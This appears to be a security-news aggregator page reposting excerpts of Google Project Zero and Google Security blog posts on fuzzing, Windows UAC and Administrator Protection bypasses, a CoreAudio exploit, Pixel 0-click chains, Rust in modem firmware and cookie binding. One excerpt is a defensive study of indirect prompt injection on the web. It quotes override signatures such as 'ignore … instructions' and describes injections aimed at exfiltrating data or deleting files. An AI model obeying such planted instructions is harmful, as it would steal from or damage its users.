On the Effectiveness of Mutational Grammar Fuzzing (Mar 5, 2026).
Mutational grammar fuzzing is a fuzzing technique in which the fuzzer uses a predefined grammar that describes the structure of the samples. When a sample gets mutated, the mutations happen in such a way that any resulting samples still adhere to the grammar rules, thus the structure of the samples gets maintained by the mutation process. In case of coverage-guided grammar fuzzing, if the resulting sample (after the mutation) triggers previously unseen code coverage, this sample is saved to the sample corpus and used as a basis for future mutations. This technique has proven capable of finding complex issues and I have used it successfully in the past, including to find issues in XSLT implementations in web browsers and even JIT engine bugs. However, despite the approach being effective, it is not without its flaws which, for a casual fuzzer user, might not be obvious. In this blogpost I will introduce what I perceive to be the flaws of the mutational coverage-guided grammar fuzzing approach. I will also describe a very simple but effective technique I use in my fuzzing runs to counter these flaws.
Sources:
Google Project Zero Research: On the Effectiveness of Mutational Grammar Fuzzing: https://projectzero.google/2026/03/mutational-grammar-fuzzing.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
Mutational grammar fuzzing is a fuzzing technique in which the fuzzer uses a predefined grammar that describes the structure of the samples. When a sample gets mutated, the mutations happen in such a way that any resulting samples still adhere to the grammar rules, thus the structure of the samples gets maintained by the mutation process. In case of coverage-guided grammar fuzzing, if the resulting sample (after the mutation) triggers previously unseen code coverage, this sample is saved to the sample corpus and used as a basis for future mutations. This technique has proven capable of finding complex issues and I have used it successfully in the past, including to find issues in XSLT implementations in web browsers and even JIT engine bugs. However, despite the approach being effective, it is not without its flaws which, for a casual fuzzer user, might not be obvious. In this blogpost I will introduce what I perceive to be the flaws of the mutational coverage-guided grammar fuzzing approach. I will also describe a very simple but effective technique I use in my fuzzing runs to counter these flaws.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Deep Dive into the GetProcessHandleFromHwnd API
https://kevwire.com/record/project-zero-gphfh-deep-dive-70e01b76e84c
A Deep Dive into the GetProcessHandleFromHwnd API (Feb 26, 2026).
In my previous blog post I mentioned the GetProcessHandleFromHwnd API. This was an API I didn’t know existed until I found a publicly disclosed UAC bypass using the Quick Assist UI Access application. This API looked interesting so I thought I should take a closer look. I typically start by reading the documentation for an API I don’t know about, assuming it’s documented at all. It can give you an idea of how long the API has existed as well as its security properties. The documentation’s remarks contain the following three statements that I thought were interesting: If the caller has UIAccess, however, they can use a windows hook to inject code into the target process, and from within the target process, send a handle back to the caller. GetProcessHandleFromHwnd is a convenience function that uses this technique to obtain the handle of the process that owns the specified HWND. Note that it only succeeds in cases where the caller and target process are running as the same user.
Sources:
Google Project Zero Research: A Deep Dive into the GetProcessHandleFromHwnd API: https://projectzero.google/2026/02/gphfh-deep-dive.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
In my previous blog post I mentioned the GetProcessHandleFromHwnd API. This was an API I didn’t know existed until I found a publicly disclosed UAC bypass using the Quick Assist UI Access application. This API looked interesting so I thought I should take a closer look. I typically start by reading the documentation for an API I don’t know about, assuming it’s documented at all. It can give you an idea of how long the API has existed as well as its security properties. The documentation’s remarks contain the following three statements that I thought were interesting: If the caller has UIAccess, however, they can use a windows hook to inject code into the target process, and from within the target process, send a handle back to the caller. GetProcessHandleFromHwnd is a convenience function that uses this technique to obtain the handle of the process that owns the specified HWND. Note that it only succeeds in cases where the caller and target process are running as the same user.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bypassing Administrator Protection by Abusing UI Access
https://kevwire.com/record/project-zero-windows-administrator-protection-c89ad05b567c
Bypassing Administrator Protection by Abusing UI Access (Feb 12, 2026).
In my last blog post I introduced the new Windows feature, Administrator Protection and how it aimed to create a secure boundary for UAC where one didn’t exist. I described one of the ways I was able to bypass the feature before it was released. In total I found 9 bypasses during my research that have now all been fixed. In this blog post I wanted to describe the root cause of 5 of those 9 issues, specifically the implementation of UI Access, how this has been a long standing problem with UAC that’s been under-appreciated, and how it’s being fixed now. A Question of Accessibility Prior to Windows Vista any process running on a user’s desktop could control any window created by another, such as by sending window messages. This behavior could be abused if a privileged user, such as SYSTEM, displayed a user interface on the desktop. A limited user could control the UI and potentially elevate privileges. This was referred to as a Shatter Attack, and was usually fixed by removing user interface components from privileged code.
Sources:
Google Project Zero Research: Bypassing Administrator Protection by Abusing UI Access: https://projectzero.google/2026/02/windows-administrator-protection.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
In my last blog post I introduced the new Windows feature, Administrator Protection and how it aimed to create a secure boundary for UAC where one didn’t exist. I described one of the ways I was able to bypass the feature before it was released. In total I found 9 bypasses during my research that have now all been fixed. In this blog post I wanted to describe the root cause of 5 of those 9 issues, specifically the implementation of UI Access, how this has been a long standing problem with UAC that’s been under-appreciated, and how it’s being fixed now. A Question of Accessibility Prior to Windows Vista any process running on a user’s desktop could control any window created by another, such as by sending window messages. This behavior could be abused if a privileged user, such as SYSTEM, displayed a user interface on the desktop. A limited user could control the UI and potentially elevate privileges. This was referred to as a Shatter Attack, and was usually fixed by removing user interface components from privileged code.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529
https://kevwire.com/record/project-zero-sound-barrier-2-3bf1edc501a4
Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529 (Jan 30, 2026).
In the first part of this series, I detailed my journey into macOS security research, which led to the discovery of a type confusion vulnerability (CVE-2024-54529) and a double-free vulnerability (CVE-2025-31235) in the coreaudiod system daemon through a process I call knowledge-driven fuzzing. While the first post focused on the process of finding the vulnerabilities, this post dives into the intricate process of exploiting the type confusion vulnerability. I’ll explain the technical details of turning a potentially exploitable crash into a working exploit: a journey filled with dead ends, creative problem solving, and ultimately, success. The Vulnerability: A Quick Recap If you haven’t already, I highly recommend reading my detailed writeup on this vulnerability before proceeding. As a refresher, CVE-2024-54529 is a type confusion vulnerability within the com.apple.audio.audiohald Mach service in the CoreAudio framework used by the coreaudiod process. Several Mach message handlers, such as _XIOContext_Fetch_Workgroup_Port, would fetch a HALS_Object from the Object Map based on an ID from the Mach message, and then perform operations on it, assuming it was of a specific type (ioct) without proper validation.
Sources:
Google Project Zero Research: Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529: https://projectzero.google/2026/01/sound-barrier-2.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
In the first part of this series, I detailed my journey into macOS security research, which led to the discovery of a type confusion vulnerability (CVE-2024-54529) and a double-free vulnerability (CVE-2025-31235) in the coreaudiod system daemon through a process I call knowledge-driven fuzzing. While the first post focused on the process of finding the vulnerabilities, this post dives into the intricate process of exploiting the type confusion vulnerability. I’ll explain the technical details of turning a potentially exploitable crash into a working exploit: a journey filled with dead ends, creative problem solving, and ultimately, success. The Vulnerability: A Quick Recap If you haven’t already, I highly recommend reading my detailed writeup on this vulnerability before proceeding. As a refresher, CVE-2024-54529 is a type confusion vulnerability within the com.apple.audio.audiohald Mach service in the CoreAudio framework used by the coreaudiod process. Several Mach message handlers, such as _XIOContext_Fetch_Workgroup_Port, would fetch a HALS_Object from the Object Map based on an ID from the Mach message, and then perform operations on it, assuming it was of a specific type (ioct) without proper validation.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bypassing Windows Administrator Protection
https://kevwire.com/record/project-zero-windows-administrator-protection-0ba6cedb52a0
Bypassing Windows Administrator Protection (Jan 26, 2026).
A headline feature introduced in the latest release of Windows 11, 25H2 is Administrator Protection. The goal of this feature is to replace User Account Control (UAC) with a more robust and importantly, securable system to allow a local user to access administrator privileges only when necessary. This blog post will give a brief overview of the new feature, how it works and how it’s different from UAC. I’ll then describe some of the security research I undertook while it was in the insider preview builds on Windows 11. Finally I’ll detail one of the nine separate vulnerabilities that I found to bypass the feature to silently gain full administrator privileges. All the issues that I reported to Microsoft have been fixed, either prior to the feature being officially released (in optional update KB5067036) or as subsequent security bulletins. Note: As of 1st December 2025 the Administrator Protection feature has been disabled by Microsoft while an application compatibility issue is dealt with. The issue is unlikely to be related to anything described in this blog post so the analysis doesn’t change.
Sources:
Google Project Zero Research: Bypassing Windows Administrator Protection: https://projectzero.google/2026/26/windows-administrator-protection.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
A headline feature introduced in the latest release of Windows 11, 25H2 is Administrator Protection. The goal of this feature is to replace User Account Control (UAC) with a more robust and importantly, securable system to allow a local user to access administrator privileges only when necessary. This blog post will give a brief overview of the new feature, how it works and how it’s different from UAC. I’ll then describe some of the security research I undertook while it was in the insider preview builds on Windows 11. Finally I’ll detail one of the nine separate vulnerabilities that I found to bypass the feature to silently gain full administrator privileges. All the issues that I reported to Microsoft have been fixed, either prior to the feature being officially released (in optional update KB5067036) or as subsequent security bulletins. Note: As of 1st December 2025 the Administrator Protection feature has been disabled by Microsoft while an application compatibility issue is dealt with. The issue is unlikely to be related to anything described in this blog post so the analysis doesn’t change.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### A 0-click exploit chain for the Pixel 9 Part 3: Where do we go from here?
https://kevwire.com/record/project-zero-pixel-0-click-part-3-5efa0720e900
A 0-click exploit chain for the Pixel 9 Part 3: Where do we go from here? (Jan 14, 2026).
While our previous two blog posts provided technical recommendations for increasing the effort required by attackers to develop 0-click exploit chains, our experience finding, reporting and exploiting these vulnerabilities highlighted some broader issues in the Android ecosystem. This post describes the problems we encountered and recommendations for improvement. Audio Attack Surface The Dolby UDC is part of the 0-click attack surface of most Android devices because of audio transcription in the Google Messages application. Incoming audio messages are transcribed before a user interacts with the message. On Pixel 9, a second process com.google.android.tts also decodes incoming audio. Its purpose is not completely clear, but it seems to be related to making incoming messages searchable.
Sources:
Google Project Zero Research: A 0-click exploit chain for the Pixel 9 Part 3: Where do we go from here?: https://projectzero.google/2026/01/pixel-0-click-part-3.html
Google Project Zero Research syndication feed: https://projectzero.google/feed.xml
While our previous two blog posts provided technical recommendations for increasing the effort required by attackers to develop 0-click exploit chains, our experience finding, reporting and exploiting these vulnerabilities highlighted some broader issues in the Android ecosystem. This post describes the problems we encountered and recommendations for improvement. Audio Attack Surface The Dolby UDC is part of the 0-click attack surface of most Android devices because of audio transcription in the Google Messages application. Incoming audio messages are transcribed before a user interacts with the message. On Pixel 9, a second process com.google.android.tts also decodes incoming audio. Its purpose is not completely clear, but it seems to be related to making incoming messages searchable.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI threats in the wild: The current state of prompt injections on the web
https://kevwire.com/record/google-security-ai-threats-in-wild-current-state-of-0098876e67a4
AI threats in the wild: The current state of prompt injections on the web (Apr 23, 2026).
Posted by Thomas Brunner, Yu-Han Liu, Moni Pande 

 At Google, our Threat Intelligence teams are dedicated to staying ahead of real-world adversarial activity, proactively monitoring emerging threats before they can impact users. Right now, Indirect Prompt Injection (IPI) is a top priority for the security community, anticipating it as a primary attack vector for adversaries to target and compromise AI agents. But while the danger of IPI is widely discussed, are threat actors actually exploiting this vector today – and if so, how? 

 To answer these questions and to uncover real-world abuse, we initiated a broad sweep of the public web to monitor for known indirect prompt injection patterns. This is what we found. 

 The threat of indirect prompt injection 

 Unlike a direct injection where a user "jailbreaks" a chatbot, IPI occurs when an AI system processes content—like a website, email, or document—that contains malicious instructions. When the AI reads this poisoned content, it may silently follow the attacker's commands instead of the user's original intent. 

 This is not a new area of concern for us and Google has been working tirelessly to combat these threats. Our efforts involve cross-functional collaboration between researchers at Google DeepMind (GDM) and defenders like the Google Threat Intelligence Group (GTIG). We have previously detailed our work in this area and researchers have further highlighted the evolving nature of these vulnerabilities. 

 Despite this collective focus, a fundamental question remains: to what degree are real-world malicious actors currently operationalizing these attacks? 

 Proactive monitoring at Google 

 The landscape of IPI on the web 

 There are many channels through which attackers might try to send prompt injections. However, one location is particularly easy to observe - the public web. Here, threat actors may simply seed prompt injections on websites in hope of corrupting AI systems that browse them. 

 Public rese
AI classification: infrastructure; evidence: confirmed. The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.
Sources:
Google Security Research: AI threats in the wild: The current state of prompt injections on the web: https://security.googleblog.com/2026/04/ai-threats-in-wild-current-state-of.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Thomas Brunner, Yu-Han Liu, Moni Pande 

 At Google, our Threat Intelligence teams are dedicated to staying ahead of real-world adversarial activity, proactively monitoring emerging threats before they can impact users. Right now, Indirect Prompt Injection (IPI) is a top priority for the security community, anticipating it as a primary attack vector for adversaries to target and compromise AI agents. But while the danger of IPI is widely discussed, are threat actors actually exploiting this vector today – and if so, how? 

 To answer these questions and to uncover real-world abuse, we initiated a broad sweep of the public web to monitor for known indirect prompt injection patterns. This is what we found. 

 The threat of indirect prompt injection 

 Unlike a direct injection where a user "jailbreaks" a chatbot, IPI occurs when an AI system processes content—like a website, email, or document—that contains malicious instructions. When the AI reads this poisoned content, it may silently follow the attacker's commands instead of the user's original intent. 

 This is not a new area of concern for us and Google has been working tirelessly to combat these threats. Our efforts involve cross-functional collaboration between researchers at Google DeepMind (GDM) and defenders like the Google Threat Intelligence Group (GTIG). We have previously detailed our work in this area and researchers have further highlighted the evolving nature of these vulnerabilities. 

 Despite this collective focus, a fundamental question remains: to what degree are real-world malicious actors currently operationalizing these attacks? 

 Proactive monitoring at Google 

 The landscape of IPI on the web 

 There are many channels through which attackers might try to send prompt injections. However, one location is particularly easy to observe - the public web. Here, threat actors may simply seed prompt injections on websites in hope of corrupting AI systems that browse them. 

 Public research confirms these attacks are possible; consequently, we should expect real-world adversaries to exploit these vulnerabilities to cause harm. 

 Thus, we ask a basic question: What outcomes are real attackers trying to achieve today? 

 For ease of access and reproducibility, we chose to use Common Crawl , which is a large repository of crawled websites from the English-speaking web. Common Crawl provides monthly snapshots of 2-3 billion pages each. These are mostly static websites, which includes self-published content such as blogs, forums and comments on these sites, but as a caveat it does not contain most social media content (e.g., LinkedIn, Facebook, X, …) as Common Crawl skips websites with login walls and anti-crawl directives. 

 This means that, while prompt injections have been observed on social media, we reserve these for an upcoming separate study. For a first look, we can observe prompt injections even in standard HTML, for which Common Crawl conveniently provides not just the source, but also the parsed plaintext. 

 The challenge of false positives 

 The task of scanning large amounts of documents for prompt injections may sound simple, but in reality is hindered by an overwhelming number of false positive detections. 

 Early experiments revealed a significant volume of "benign" prompt injection text, which illustrates the complexity of distinguishing between functional threats and harmless content. Many prompt injections were found in research papers, educational blog posts, or security articles discussing this very topic. 

 False positives: Most prompt injections in web content tend to be education material for researchers. (Source: GitHub/swisskyrepo) 

 When searching for prompt injections naively, the majority of detections are benign content – false positives in our case. Therefore, we opted for a coarse-to-fine filtering approach: 

 Pattern Matching : We initially identified candidate pages by searching for a range of popular prompt injection signatures, like “ignore … instructions” , “if you are an AI” , etc. 

 LLM-Based Classification : These candidates were then processed by Gemini to classify the intent of the suspicious text, and to understand whether they were part of the overall document narrative or suspiciously out of place. 

 Human Validation : A final round of manual review was conducted on the classified results to ensure high confidence in our findings. 

 While this approach is not exhaustive and might miss uncommon signatures, it can serve as a starting point for understanding the quality of prompt injections in the wild. 

 What we found 

 Our analysis revealed a range of attempts that, if successful, would try to manipulate AI systems browsing the website. Most of the prompt injections we observed fall into these categories: 

 Harmless pranks 

 Helpful guidance 

 Search engine optimization (SEO) 

 Deterring AI agents 

 Malicious 

 Data exfiltration 

 Destruction 

 Harmless Prank 

 This class of prompt injection aims to cause mostly harmless side effects in AI assistants reading the website. We found many instances of this – consider the source code of this website, which contains an invisible prompt injection that instructs agents reading the website to change their conversational tone: 

 Helpful Guidance 

 We also observed website authors who wanted to exert control over AI summaries in order to provide the best service to their readers. We consider this a benign example, since the prompt injection does not attempt to prevent AI summary, but instead instructs it to add relevant context. 

 We note that this example could easily turn malicious if the instruction tried to add misinformation or attempted to redirect the user to third party websites. 

 Search Engine Optimization (SEO) 

 Some websites include prompt injections for the purpose of SEO, trying to manipulate AI assistants into promoting their business over others: 

 While the above example is simple, we have also started to see more sophisticated SEO prompt injection attempts. Consider the intricate prompt below, which was seemingly generated by an automated SEO suite and inserted into website text: 

 Deterring AI agents 

 Some websites try to prevent retrieval by AI agents via prompt injection. There exist many examples of “ If you are an AI, then do not crawl this website ”. However, we also observed more insidious implementations: 

 This injection tries to lure AI readers onto a separate page which, when opened, streams an infinite amount of text that never finishes loading. In this way, the author might hope to waste resources or cause timeout errors during the processing of their website. 

 Malicious: Exfiltration 

 We were able to observe a small number of prompt injections that aim at theft of data. However, for this class of attacks, sophistication seemed much lower. Consider this example: 

 As we can see, this is a website author performing an experiment. We did not observe significant amounts of advanced attacks (e.g. using known exfiltration prompts published by security researchers in 2025). This seems to indicate that attackers have yet not productionized this research at scale. 

 Malicious: Destruction 

 Finally, we observed a number of websites that attempt to vandalize the machine of anyone using AI assistants. If executed, the commands in this example would try to delete all files on the user’s machine: 

 While potentially devastating, we consider this simple injection unlikely to succeed, which makes it similar to those in the other categories: We mostly found individual website authors who seemed to be running experiments or pranks, without replicating advanced IPI strategies found in recently published research. 

 What does this mean? 

 Our results indicate that attackers are experimenting with IPI on the web. While the observed activity suggests limited sophistication, this might be only part of the bigger picture. 

 For one, we sca
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bringing Rust to the Pixel Baseband
https://kevwire.com/record/google-security-bringing-rust-to-pixel-baseband-553ac45037fa
Bringing Rust to the Pixel Baseband (Apr 10, 2026).
Posted by Jiacheng Lu, Software Engineer, Google Pixel Team 

 Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on "Deploying Rust in Existing Firmware Codebases" , this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other areas.

 Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments.

 Why Modem Memory Safety Can’t Wait

 In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in the predominantly memory-unsafe firmware code.

 Why DNS?

 The DNS protocol is most commonly known in the context of browsers finding websites. With the evolution of cellular technology, modern cellular communications have migrated to digital data networks; consequently, even basic operations such as call forwarding rely on DNS services.

 DNS is a complex protocol and requires parsing of untrusted data, which can lead to vulnerabilities, particularly when implemented in a memory-unsafe language (example: CVE-2024-27227 ). Implementing the DNS parser
Sources:
Google Security Research: Bringing Rust to the Pixel Baseband: https://security.googleblog.com/2026/04/bringing-rust-to-pixel-baseband.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Jiacheng Lu, Software Engineer, Google Pixel Team 

 Google is continuously advancing the security of Pixel devices. We have been focusing on hardening the cellular baseband modem against exploitation. Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities. For Pixel 10, Google is advancing its proactive security measures further. Following our previous discussion on "Deploying Rust in Existing Firmware Codebases" , this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware. The new Rust-based DNS parser significantly reduces our security risk by mitigating an entire class of vulnerabilities in a risky area, while also laying the foundation for broader adoption of memory-safe code in other areas.

 Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments.

 Why Modem Memory Safety Can’t Wait

 In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in the predominantly memory-unsafe firmware code.

 Why DNS?

 The DNS protocol is most commonly known in the context of browsers finding websites. With the evolution of cellular technology, modern cellular communications have migrated to digital data networks; consequently, even basic operations such as call forwarding rely on DNS services.

 DNS is a complex protocol and requires parsing of untrusted data, which can lead to vulnerabilities, particularly when implemented in a memory-unsafe language (example: CVE-2024-27227 ). Implementing the DNS parser in Rust offers value by decreasing the attack surfaces associated with memory unsafety.

 Picking a DNS library

 DNS already has a level of support in the open-source Rust community. We evaluated multiple open source crates that implement DNS. Based on criteria shared in earlier posts , we identified hickory-proto as the best candidate. It has excellent maintenance, over 75% test coverage, and widespread adoption in the Rust community. Its pervasiveness shows its potential as the de-facto DNS choice and long term support. Although hickory-proto initially lacked no_std support, which is needed for Bare-metal environments (see our previous post on this topic), we were able to add support to it and its dependencies.

 Adding no_std support

 The work to enable no_std for hickory-proto is mostly mechanical. We shared the process in a previous post . We undertook modifications to hickory_proto and its dependencies to enable no_std support. The upstream no_std work also results in a no_std URL parser, beneficial to other projects.

 https://github.com/hickory-dns/hickory-dns/pull/2104 

 https://github.com/servo/rust-url/pull/831 

 https://github.com/krisprice/ipnet/pull/58 

 The above PRs are great examples of how to extend no_std support to existing std-only crates.

 Code size study

 Code size is the one of the factors that we evaluated when picking the DNS library to use.

 Code size

by category 
 Rust implemented Shim that calls Hickory-proto on receiving a DNS response 
 4KB 

 core, alloc, compiler_builtins

(reusable, one-time cost) 
 17KB 

 Hickory-proto library and dependencies 
 350KB 

 Sum 
 
 371KB 

 We built prototypes and measured size with size-optimized settings . Expectedly, hickory_proto is not designed with embedded use in mind, and is not optimized for size. As the Pixel modem is not tightly memory constrained, we prioritized community support and code quality, leaving code size optimizations as future work.

 However, the additional code size may be a blocker for other embedded systems. This could be addressed in the future by adding additional feature flags to conditionally compile only required functionality. Implementing this modularity would be a valuable future work.

 Hook-up Rust to modem firmware

 Before building the Rust DNS library, we defined several Rust unit tests to cover basic arithmetic, dynamic allocations, and FFI to verify the integration of Rust with the existing modem firmware code base.

 Compile Rust code to staticlib

 While using cargo is the default choice for compilation in the Rust ecosystem, it presents challenges when integrating it into existing build systems. We evaluated two options:

 Using cargo to build a staticlib before the modem builds. Then add the produced staticlib into the linking step.

 Directly work with rustc and integrate the Rust compilation steps into the existing modem build system.

 Option #1 does not scale if we are going to add more Rust components in the future, as linking multiple staticlibs may cause duplicated symbol errors . We chose option #2 as it scales more easily and allows tighter integration into our existing build system. Our existing C/C++ codebase uses Pigweed to drive the primary build system. Pigweed supports Rust targets ( example ) with direct calls to rustc through rust tools defined in GN .

 We compiled all the Rust crates, including hickory-proto, its dependencies, and core, compiler_builtin, alloc, to rlib . Then, we created a staticlib target with a single lib.rs file which references all the rlib crates using extern crate keywords.

 Build core, alloc, and compiler_builtins

 Android’s Rust Toolchain distributes source code of core , alloc , and compiler_builtins , and we leveraged this for the modem. They can be included to the build graph by adding a GN target with crate_root pointing to the root lib.rs of each crate.

 Pixel modem firmware already has a well-tested and specialized global memory allocation system to support some dynamic memory allocations. alloc support was added by implementing the GlobalAlloc with FFI calls to the allocators C APIs:

 use core::alloc::{GlobalAlloc, Layout};

extern "C" {
 fn mem_malloc(size: usize, alignment: usize) -> *mut u8;
 fn mem_free(ptr: *mut u8, alignment: usize);
}

struct MemAllocator;

unsafe impl GlobalAlloc for MemAllocator {
 unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
 mem_malloc(layout.size(), layout.align())
 }

 unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
 mem_free(ptr, layout.align());
 }
}

#[global_allocator]
static ALLOCATOR: MemAllocator = MemAllocator;

 Pixel modem firmware already implements a backend for the Pigweed crash facade as the global crash handler. Exposing it into Rust panic_handler through FFI unifies the crash handling for both Rust and C/C++ code.

 #![no_std]
use core::panic::PanicInfo;

extern "C" {
 pub fn PwCrashBackend(sigature: *const i8, file_name: *const i8, line: u32);
}

#[panic_handler]
fn panic(panic_info: &PanicInfo) -> ! {
 let mut filename = "";
 let mut line_number: u32 = 0;

 if let Some(location) = panic_info.location() {
 filename = location.file();
 line_number = location.line();
 }

 let mut cstr_buffer = [0u8; 128];
 // Never writes to the last byte to make sure `cstr_buffer` is always zero
 // terminated.
 let (_, writer) = cstr_buffer.split_last_mut().unwrap();
 for (place, ch) in writer.iter_mut().zip(filename.bytes()) {
 *place = ch;
 }

 unsafe {
 PwCrashBackend(
 "Rust panic\0".as_ptr() as *const i8,
 cstr_buffer.as_ptr() as *const i8,
 line_number,
 );
 }

 loop {}
}

 Link Rust staticlib

 The Pixel modem firmware linking has a step that calls the linker to link all the objects generated from C/C++ code. By using llvm-ar -x to extract object files from the Rust combined staticlib and supplying them to the linker, the Rust code appears in the final modem image.

 There was a performance issue we experienced due to weak symbols during linking. The inclusion
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Protecting Cookies with Device Bound Session Credentials
https://kevwire.com/record/google-security-protecting-cookies-with-device-bound-c455bb0299aa
Protecting Cookies with Device Bound Session Credentials (Apr 9, 2026).
Posted by Ben Ackerman, Chrome team, Daniel Rubery, Chrome team and Guillaume Ehinger, Google Account Security team 

Following our April 2024 announcement , Device Bound Session Credentials (DBSC) is now entering public availability for Windows users on Chrome 146, and expanding to macOS in an upcoming Chrome release. This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape.

Session theft typically occurs when a user inadvertently downloads malware onto their device. Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server. Infostealer malware families, such as LummaC2, have become increasingly sophisticated at harvesting these credentials. Because cookies often have extended lifetimes, attackers can use them to gain unauthorized access to a user’s accounts without ever needing their passwords; this access is then often bundled, traded, or sold among threat actors.

Crucially, once sophisticated malware has gained access to a machine, it can read the local files and memory where browsers store authentication cookies. As a result, there is no reliable way to prevent cookie exfiltration using software alone on any operating system. Historically, mitigating session theft relied on detecting the stolen credentials after the fact using a complex set of abuse heuristics – a reactive approach that persistent attackers could often circumvent. DBSC fundamentally changes the web's capability to defend against this threat by shifting the paradigm from reactive detection to proactive prevention, ensuring that successfully exfiltrated cookies cannot be used to access users’ accounts.

 How DBSC Works

DBSC protects against session theft by cryptographically binding authentication sessions to a specific device. It does this using
Sources:
Google Security Research: Protecting Cookies with Device Bound Session Credentials: https://security.googleblog.com/2026/04/protecting-cookies-with-device-bound.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Ben Ackerman, Chrome team, Daniel Rubery, Chrome team and Guillaume Ehinger, Google Account Security team 

Following our April 2024 announcement , Device Bound Session Credentials (DBSC) is now entering public availability for Windows users on Chrome 146, and expanding to macOS in an upcoming Chrome release. This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape.

Session theft typically occurs when a user inadvertently downloads malware onto their device. Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server. Infostealer malware families, such as LummaC2, have become increasingly sophisticated at harvesting these credentials. Because cookies often have extended lifetimes, attackers can use them to gain unauthorized access to a user’s accounts without ever needing their passwords; this access is then often bundled, traded, or sold among threat actors.

Crucially, once sophisticated malware has gained access to a machine, it can read the local files and memory where browsers store authentication cookies. As a result, there is no reliable way to prevent cookie exfiltration using software alone on any operating system. Historically, mitigating session theft relied on detecting the stolen credentials after the fact using a complex set of abuse heuristics – a reactive approach that persistent attackers could often circumvent. DBSC fundamentally changes the web's capability to defend against this threat by shifting the paradigm from reactive detection to proactive prevention, ensuring that successfully exfiltrated cookies cannot be used to access users’ accounts.

 How DBSC Works

DBSC protects against session theft by cryptographically binding authentication sessions to a specific device. It does this using hardware-backed security modules, such as the Trusted Platform Module (TPM) on Windows and the Secure Enclave on macOS, to generate a unique public/private key pair that cannot be exported from the machine. The issuance of new short-lived session cookies is contingent upon Chrome proving possession of the corresponding private key to the server. Because attackers cannot steal this key, any exfiltrated cookies quickly expire and become useless to those attackers. This design allows large and small websites to upgrade to secure, hardware-bound sessions by adding dedicated registration and refresh endpoints to their backends, while maintaining complete compatibility with their existing front-end. The browser handles the complex cryptography and cookie rotation in the background, allowing the web app to continue using standard cookies for access just as it always has. 

Google rolled out an early version of this protocol over the last year. For sessions protected by DBSC, we have observed a significant reduction in session theft since its launch.

 An overview of the DBSC protocol showing the interaction between the browser and server. 

 Private by design

A core tenet of the DBSC architecture is the preservation of user privacy. Each session is backed by a distinct key, preventing websites from using these credentials to correlate a user's activity across different sessions or sites on the same device. Furthermore, the protocol is designed to be lean: it does not leak device identifiers or attestation data to the server beyond the per-session public key required to certify proof of possession. This minimal information exchange ensures DBSC helps secure sessions without enabling cross-site tracking or acting as a device fingerprinting mechanism.

 Engagement with the ecosystem

